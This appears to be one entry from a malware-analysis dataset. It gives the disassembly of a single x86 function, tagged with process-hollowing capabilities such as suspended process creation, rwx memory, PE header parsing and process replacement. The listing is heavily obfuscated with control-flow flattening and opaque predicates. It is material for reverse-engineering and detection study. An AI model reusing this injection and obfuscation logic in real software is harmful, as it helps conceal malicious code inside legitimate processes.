Function at 0x10002c60
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x114
mov eax, dword [0x100a8200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x11c], 0x25158938
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x120], eax
sub eax, 0x80a5669e
je 0x10008936
jmp 0x10002c9c
mov eax, dword [ebp - 0x120]
sub eax, 0x81280958
je 0x10009034
jmp 0x10002cb2
mov eax, dword [ebp - 0x120]
sub eax, 0x81be6320
je 0x10009fea
jmp 0x10002cc8
mov eax, dword [ebp - 0x120]
sub eax, 0x81c67ef7
je 0x10008642
jmp 0x10002cde
mov eax, dword [ebp - 0x120]
sub eax, 0x828ff1f6
je 0x100094a4
jmp 0x10002cf4
mov eax, dword [ebp - 0x120]
sub eax, 0x8295e2a8
je 0x10007b4e
jmp 0x10002d0a
mov eax, dword [ebp - 0x120]
sub eax, 0x8357e1af
je 0x10009dd9
jmp 0x10002d20
mov eax, dword [ebp - 0x120]
sub eax, 0x83a6719a
je 0x1000517c
jmp 0x10002d36
mov eax, dword [ebp - 0x120]
sub eax, 0x844832df
je 0x10005a2d
jmp 0x10002d4c
mov eax, dword [ebp - 0x120]
sub eax, 0x8453cb0d
je 0x10007759
jmp 0x10002d62
mov eax, dword [ebp - 0x120]
sub eax, 0x84901475
je 0x10007016
jmp 0x10002d78
mov eax, dword [ebp - 0x120]
sub eax, 0x84d1dfc9
je 0x1000621a
jmp 0x10002d8e
mov eax, dword [ebp - 0x120]
sub eax, 0x85aa49ad
je 0x1000773c
jmp 0x10002da4
mov eax, dword [ebp - 0x120]
sub eax, 0x8616a57b
je 0x1000661e
jmp 0x10002dba
mov eax, dword [ebp - 0x120]
sub eax, 0x86c60b88
je 0x1000a4f6
jmp 0x10002dd0
mov eax, dword [ebp - 0x120]
sub eax, 0x86e0d5c0
je 0x10009910
jmp 0x10002de6
mov eax, dword [ebp - 0x120]
sub eax, 0x8727a7ce
je 0x10006704
jmp 0x10002dfc
mov eax, dword [ebp - 0x120]
sub eax, 0x88d7cfdf
je 0x10008b55
jmp 0x10002e12
mov eax, dword [ebp - 0x120]
sub eax, 0x8a13526b
je 0x100050eb
jmp 0x10002e28
mov eax, dword [ebp - 0x120]
sub eax, 0x8aac5ab0
je 0x100073db
jmp 0x10002e3e
mov eax, dword [ebp - 0x120]
sub eax, 0x8aed98d0
je 0x1000a33e
jmp 0x10002e54
mov eax, dword [ebp - 0x120]
sub eax, 0x8b316a0e
je 0x1000a57a
jmp 0x10002e6a
mov eax, dword [ebp - 0x120]
sub eax, 0x8b4f8159
je 0x10006b18
jmp 0x10002e80
mov eax, dword [ebp - 0x120]
sub eax, 0x8bdcf290
je 0x10008fbe
jmp 0x10002e96
mov eax, dword [ebp - 0x120]
sub eax, 0x8c263ebe
je 0x10007138
jmp 0x10002eac
mov eax, dword [ebp - 0x120]
sub eax, 0x8c5fb904
je 0x1000a5dd
jmp 0x10002ec2
mov eax, dword [ebp - 0x120]
sub eax, 0x8c60749b
je 0x10008882
jmp 0x10002ed8
mov eax, dword [ebp - 0x120]
sub eax, 0x8c664611
je 0x10009743
jmp 0x10002eee
mov eax, dword [ebp - 0x120]
sub eax, 0x8dd5ba01
je 0x100098eb
jmp 0x10002f04
mov eax, dword [ebp - 0x120]
sub eax, 0x8ed41863
je 0x10008172
jmp 0x10002f1a
mov eax, dword [ebp - 0x120]
sub eax, 0x8f21996d
je 0x10007b10
jmp 0x10002f30
mov eax, dword [ebp - 0x120]
sub eax, 0x8f8473c6
je 0x100057e4
jmp 0x10002f46
mov eax, dword [ebp - 0x120]
sub eax, 0x8fd5647a
je 0x10006482
jmp 0x10002f5c
mov eax, dword [ebp - 0x120]
sub eax, 0x90104555
je 0x10007944
jmp 0x10002f72
mov eax, dword [ebp - 0x120]
sub eax, 0x921ffd74
je 0x10007453
jmp 0x10002f88
mov eax, dword [ebp - 0x120]
sub eax, 0x9279e399
je 0x10005f14
jmp 0x10002f9e
mov eax, dword [ebp - 0x120]
sub eax, 0x93d8bf86
je 0x1000a16c
jmp 0x10002fb4
mov eax, dword [ebp - 0x120]
sub eax, 0x957f6408
je 0x100086b4
jmp 0x10002fca
mov eax, dword [ebp - 0x120]
sub eax, 0x9602bdef
je 0x10006e07
jmp 0x10002fe0
mov eax, dword [ebp - 0x120]
sub eax, 0x96605812
je 0x1000730e
jmp 0x10002ff6
mov eax, dword [ebp - 0x120]
sub eax, 0x968a8377
je 0x1000699f
jmp 0x1000300c
mov eax, dword [ebp - 0x120]
sub eax, 0x972ed000
je 0x10005302
jmp 0x10003022
mov eax, dword [ebp - 0x120]
sub eax, 0x9757e179
je 0x1000691a
jmp 0x10003038
mov eax, dword [ebp - 0x120]
sub eax, 0x987c6454
je 0x10007176
jmp 0x1000304e
mov eax, dword [ebp - 0x120]
sub eax, 0x98fd30e9
je 0x100070ed
jmp 0x10003064
mov eax, dword [ebp - 0x120]
sub eax, 0x99ea9fb8
je 0x10008a3a
jmp 0x1000307a
mov eax, dword [ebp - 0x120]
sub eax, 0x9a2a0094
je 0x1000678f
jmp 0x10003090
mov eax, dword [ebp - 0x120]
sub eax, 0x9a693f6a
je 0x1000a1e8
jmp 0x100030a6
mov eax, dword [ebp - 0x120]
sub eax, 0x9a8417d2
je 0x1000708c
jmp 0x100030bc
mov eax, dword [ebp - 0x120]
sub eax, 0x9aa7f61f
je 0x100088b5
jmp 0x100030d2
mov eax, dword [ebp - 0x120]
sub eax, 0x9af716f3
je 0x10007b2d
jmp 0x100030e8
mov eax, dword [ebp - 0x120]
sub eax, 0x9c43fefe
je 0x1000a6b2
jmp 0x100030fe
mov eax, dword [ebp - 0x120]
sub eax, 0x9ce2a0aa
je 0x10007fbb
jmp 0x10003114
mov eax, dword [ebp - 0x120]
sub eax, 0x9d00c9c6
je 0x10007436
jmp 0x1000312a
mov eax, dword [ebp - 0x120]
sub eax, 0x9e187c3b
je 0x10009353
jmp 0x10003140
mov eax, dword [ebp - 0x120]
sub eax, 0x9e299cb4
je 0x10005739
jmp 0x10003156
mov eax, dword [ebp - 0x120]
sub eax, 0x9f8c5966
je 0x10008ca8
jmp 0x1000316c
mov eax, dword [ebp - 0x120]
sub eax, 0xa0415a3f
je 0x1000a2ff
jmp 0x10003182
mov eax, dword [ebp - 0x120]
sub eax, 0xa122ccbe
je 0x1000a59b
jmp 0x10003198
mov eax, dword [ebp - 0x120]
sub eax, 0xa24cd5a1
je 0x1000a7b5
jmp 0x100031ae
mov eax, dword [ebp - 0x120]
sub eax, 0xa29f8ba6
je 0x100075d8
jmp 0x100031c4
mov eax, dword [ebp - 0x120]
sub eax, 0xa34343ae
je 0x10005f8d
jmp 0x100031da
mov eax, dword [ebp - 0x120]
sub eax, 0xa36fc00f
je 0x10005a10
jmp 0x100031f0
mov eax, dword [ebp - 0x120]
sub eax, 0xa41c0f5e
je 0x10008633
jmp 0x10003206
mov eax, dword [ebp - 0x120]
sub eax, 0xa5bf1b56
je 0x10007c64
mov eax, dword [ebp - 0x9c]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001220
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001220
add esp, 4
movss xmm0, dword [0x100183ac]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x100183a8]
movss dword [ebp - 0x108], xmm0
movss xmm0, dword [0x100183a4]
movss dword [ebp - 0x108], xmm0
mov dl, 1
mov eax, 0x3ee17731
mov ecx, 0x83a6719a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
movss xmm0, dword [0x100183a0]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x11c], 0x6eeb123f
jmp 0x1000a8bf
movss xmm0, dword [0x1001838c]
movss dword [ebp - 0x108], xmm0
mov dword [ebp - 0x11c], 0x6a03fc9d
jmp 0x1000a8bf
mov dword [ebp - 0x11c], 0xed4af74e
jmp 0x1000a8bf
mov eax, dword [0x100a9528]
mov ecx, dword [0x100a9524]
mov edx, eax
add edx, 0xc577a705
sub edx, 1
sub edx, 0xc577a705
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xca66a4e1
mov ecx, 0x1e72f7c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov dl, 1
mov eax, 0x29030f9c
mov ecx, 0x844832df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov ecx, dword [0x100a9528]
mov eax, dword [0x100a9524]
mov edx, ecx
sub edx, 0x479fe282
sub edx, 1
add edx, 0x479fe282
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf6f79cef
mov ecx, 0xc1402e72
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov dword [ebp - 0x11c], 0xe78b4ead
jmp 0x1000a8bf
movss xmm0, dword [0x10018334]
movss dword [ebp - 0x110], xmm0
mov dword [ebp - 0x11c], 0x89620f4
jmp 0x1000a8bf
movss xmm0, dword [0x10018210]
movss dword [ebp - 0x110], xmm0
mov ecx, dword [0x100a9528]
mov eax, dword [0x100a9524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x71f8b9ca
mov ecx, 0x67ba37f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov ecx, dword [0x100a9528]
mov eax, dword [0x100a9524]
mov edx, ecx
sub edx, 0x4a8ec05f
sub edx, 1
add edx, 0x4a8ec05f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8aed98d0
mov ecx, 0x25ca370d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov eax, dword [0x100a9528]
mov ecx, dword [0x100a9524]
mov edx, eax
add edx, 0x5477a479
sub edx, 1
sub edx, 0x5477a479
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcd3bb368
mov ecx, 0xbdd5081a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov dl, 1
mov eax, 0x547cd872
mov ecx, 0xc9524acf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
movss xmm0, dword [0x100181fc]
movss dword [ebp - 0x114], xmm0
movss xmm0, dword [0x100181f8]
movss dword [ebp - 0x114], xmm0
mov ecx, dword [0x100a9528]
mov eax, dword [0x100a9524]
mov edx, ecx
add edx, 0x59a6d061
sub edx, 1
sub edx, 0x59a6d061
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf2991024
mov ecx, 0xf58177f7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov dword [ebp - 0x11c], 0x7eb523d
jmp 0x1000a8bf
mov eax, dword [0x100a9528]
mov ecx, dword [0x100a9524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdac831bd
mov ecx, 0xf7af44ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov dword [ebp - 0x11c], 0x58526302
jmp 0x1000a8bf
mov dword [ebp - 0x11c], 0x7d0bf03c
jmp 0x1000a8bf
mov ecx, dword [0x100a9528]
mov eax, dword [0x100a9524]
mov edx, ecx
add edx, 0x8079f012
sub edx, 1
sub edx, 0x8079f012
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x104323ef
mov ecx, 0x9a8417d2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
movss xmm0, dword [0x100181d8]
movss dword [ebp - 0x118], xmm0
mov eax, dword [0x100a9528]
mov ecx, dword [0x100a9524]
mov edx, eax
sub edx, 0xa9739387
sub edx, 1
add edx, 0xa9739387
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x104323ef
mov ecx, 0x98fd30e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov dword [ebp - 0x11c], 0x1c9b066b
jmp 0x1000a8bf
movss xmm0, dword [0x100182d4]
movss dword [ebp - 0x118], xmm0
mov dword [ebp - 0x11c], 0xb5d0fd41
jmp 0x1000a8bf
mov ecx, dword [0x100a9528]
mov eax, dword [0x100a9524]
mov edx, ecx
add edx, 0x6f5e994f
sub edx, 1
sub edx, 0x6f5e994f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4a0d589f
mov ecx, 0xed406d1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100181d4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100181d0]
movss dword [eax], xmm0
mov eax, dword [0x100a9528]
mov ecx, dword [0x100a9524]
mov edx, eax
add edx, 0xe0207ee6
sub edx, 1
sub edx, 0xe0207ee6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x78a07be
mov ecx, 0x264914b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100181cc]
movss dword [eax], xmm0
mov eax, dword [0x100a9528]
mov ecx, dword [0x100a9524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6e123cb7
mov ecx, 0x9d00c9c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov dl, 1
mov eax, 0x3bcd6974
mov ecx, 0x921ffd74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100182c4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100182c0]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xb0670cb5
jmp 0x1000a8bf
mov dl, 1
mov eax, 0xd18a65b1
mov ecx, 0xc97f7e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov dl, 1
mov eax, 0x13fb632a
mov ecx, 0x8453cb0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100182a4]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x585e534
jmp 0x1000a8bf
mov eax, dword [0x100a9528]
mov ecx, dword [0x100a9524]
mov edx, eax
sub edx, 0x897f767
sub edx, 1
add edx, 0x897f767
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf3a426ec
mov ecx, 0xf765d71d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov dl, 1
mov eax, 0x5d9ffb4f
mov ecx, 0x9af716f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10018288]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x8295e2a8
jmp 0x1000a8bf
mov eax, dword [0x100a9528]
mov ecx, dword [0x100a9524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa122ccbe
mov ecx, 0xd99a15c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov eax, dword [0x100a9528]
mov ecx, dword [0x100a9524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6308a50
mov ecx, 0x4491a672
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100181a0]
movss dword [eax], xmm0
mov ecx, dword [0x100a9528]
mov eax, dword [0x100a9524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3c657c52
mov ecx, 0xbbf471ad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov dword [ebp - 0x11c], 0x81c67ef7
jmp 0x1000a8bf
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10018258]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xf2c5fa77
jmp 0x1000a8bf
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10018190]
movss dword [eax], xmm0
mov eax, dword [0x100a9528]
mov ecx, dword [0x100a9524]
mov edx, eax
add edx, 0xab27074b
sub edx, 1
sub edx, 0xab27074b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0d04cc4
mov ecx, 0xbe81b0c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10018248]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10018244]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x9aa7f61f
jmp 0x1000a8bf
mov dword [ebp - 0x11c], 0x259d0958
jmp 0x1000a8bf
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x11c], 0x50f202ca
jmp 0x1000a8bf
mov dl, byte [ebp - 0x8d]
mov eax, 0xd5754139
mov ecx, 0x12c55623
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov dword [ebp - 0x11c], 0x67678874
jmp 0x1000a8bf
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002960
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x11c], 0x3429db94
jmp 0x1000a8bf
mov ecx, dword [0x100a9528]
mov eax, dword [0x100a9524]
mov edx, ecx
add edx, 0xe0db21cc
sub edx, 1
sub edx, 0xe0db21cc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x61982304
mov ecx, 0x81280958
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov ecx, dword [0x100a9528]
mov eax, dword [0x100a9524]
mov edx, ecx
sub edx, 0x72dc6c6d
sub edx, 1
add edx, 0x72dc6c6d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x61982304
mov ecx, 0x4d4274f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xbc]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov ecx, dword [ebp - 0x58]
add ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov dword [ebp - 0x11c], 0x2f44003f
jmp 0x1000a8bf
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x11c], 0xde38ad34
jmp 0x1000a8bf
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x40]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa8]
mov dword [eax], 0
mov ecx, dword [0x100a9528]
mov eax, dword [0x100a9524]
mov edx, ecx
sub edx, 0xaa0ae8c0
sub edx, 1
add edx, 0xaa0ae8c0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc668e276
mov ecx, 0x35081259
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x11c], 0x86e0d5c0
jmp 0x1000a8bf
mov eax, dword [0x100a9528]
mov ecx, dword [0x100a9524]
mov edx, eax
add edx, 0xa70a1303
sub edx, 1
sub edx, 0xa70a1303
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3dfdb2e2
mov ecx, 0x7d385ca9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000a8bf
mov ecx, dword [ebp - 0x20]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0xa8]
mov dword [eax], ecx
mov dword [ebp - 0x11c], 0x42e6be90
jmp 0x1000a8bf
mov dword [ebp - 0x11c], 0xcf7ec973
jmp 0x1000a8bf
mov dword [ebp - 0x11c], 0x2bbdabf
jmp 0x1000a8bf
movss xmm0, dword [0x10018230]
movss dword [ebp - 0x10c], xmm0
mov dword [ebp - 0x11c], 0xcb5729b
jmp 0x1000a8bf
movss xmm0, dword [0x1001820c]
movss dword [ebp - 0x114], xmm0
movss xmm0, dword [0x10018208]
movss dword [ebp - 0x114], xmm0
movss xmm0, dword [0x10018204]
movss dword [ebp - 0x114], xmm0
mov dword [ebp - 0x11c], 0xb659b7
jmp 0x1000a8bf
mov dword [ebp - 0x11c], 0x25ca370d
jmp 0x1000a8bf
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100181c8]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x2478db12
jmp 0x1000a8bf
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181b8]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x34beab90
jmp 0x1000a8bf
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181b4]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xd99a15c
jmp 0x1000a8bf
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100181ac]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xe09d2855
jmp 0x1000a8bf
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10018194]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x1f135a93
jmp 0x1000a8bf
mov dword [ebp - 0x11c], 0x4e824fbf
jmp 0x1000a8bf
jmp 0x10002c80